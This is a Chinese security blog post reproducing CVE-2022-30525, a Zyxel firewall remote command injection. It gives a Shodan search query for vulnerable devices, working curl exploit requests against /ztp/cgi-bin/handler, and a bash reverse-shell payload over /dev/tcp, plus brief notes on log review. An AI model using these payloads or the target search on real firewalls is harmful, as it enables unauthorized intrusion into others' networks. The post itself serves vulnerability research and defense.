CVE-2022-30525 Zyxel firewalls ztp 远程命令执行漏洞复现

CVE-2022-30525 Zyxel firewalls ztp 远程命令执行漏洞复现

漏洞简述

CVE-2022-30525中,Zyxel防火墙版本的CGI程序中,由于对某些传入的特殊数据处理存在错误,攻击者在未经身份验证的情况下通过构造恶意数据进行系统命令注入攻击,修改特定文件,最终执行任意代码。

漏洞影响版本

5.00 ≤ Zyxel ≤ 5.21

Shodan 搜索语法

title:"USG FLEX 100","USG FLEX 100w","USG FLEX 200","USG FLEX 500","USG FLEX 700","USG FLEX 50","USG FLEX 50w","ATP100","ATP200","ATP500","ATP700" 

漏洞exp

https://github.com/Henry4E36/CVE-2022-30525

https://github.com/superzerosec/CVE-2022-30525

漏洞复现

存在漏洞的Zyxel防火墙容易受到通过管理 HTTP 接口进行未经身份验证的远程命令注入的攻击。命令以nobody用户身份执行。此漏洞通过/ztp/cgi-bin/handlerURI 被利用,并且是将未经过滤的攻击者输入传递os.systemlib_wan_settings.pysetWanPortSt易受攻击的功能与命令相关联被调用。攻击者可以将任意命令注入到mtudata参数中。

这里通过curl使防火墙执行ping命令。

curl -v --insecure -X POST -H "Content-Type: application/json" -d
'{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged"
:"1","vlanid":"5","mtu":"; ping 192.168.1.220;","data":"hi"}'
https://192.168.1.1/ztp/cgi-bin/handler

使用bash进行反弹shell。官方提供的 bash -c \”exec bash -i” 没有测试成功,下面换成了最原始的命令。

curl -v --insecure -X POST -H "Content-Type: application/json" -d ' {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged": "1","vlanid":"5","mtu":"; bash -i >& /dev/tcp/192.168.1.2/1234 0>&1;","data":"hi"}' https://192.168.1.1 /ztp/cgi-bin/handler
通过dnslog批量检测存在漏洞的ip

溯源排查

目前暂无可排查日志。该payload位于post body中,大部分中间件也不会记录。如果有日志,可重点排查路径/ztp/cgi-bin/handler。

总结

不要用msf官方提供的exp,一个都没有测试成功的。经判断状态码为500就存在漏洞,判断逻辑不严谨!

由于命令执行的用户为nobody,而且该防火墙的系统架构为mips64。即使反弹shell成功,用户权限过低。目前没有可用的提权漏洞,所以该漏洞实际能造成的危害不高。

赞赏

微信赞赏支付宝赞赏

Zgao

愿有一日,安全圈的师傅们都能用上Zgao写的工具。

发表评论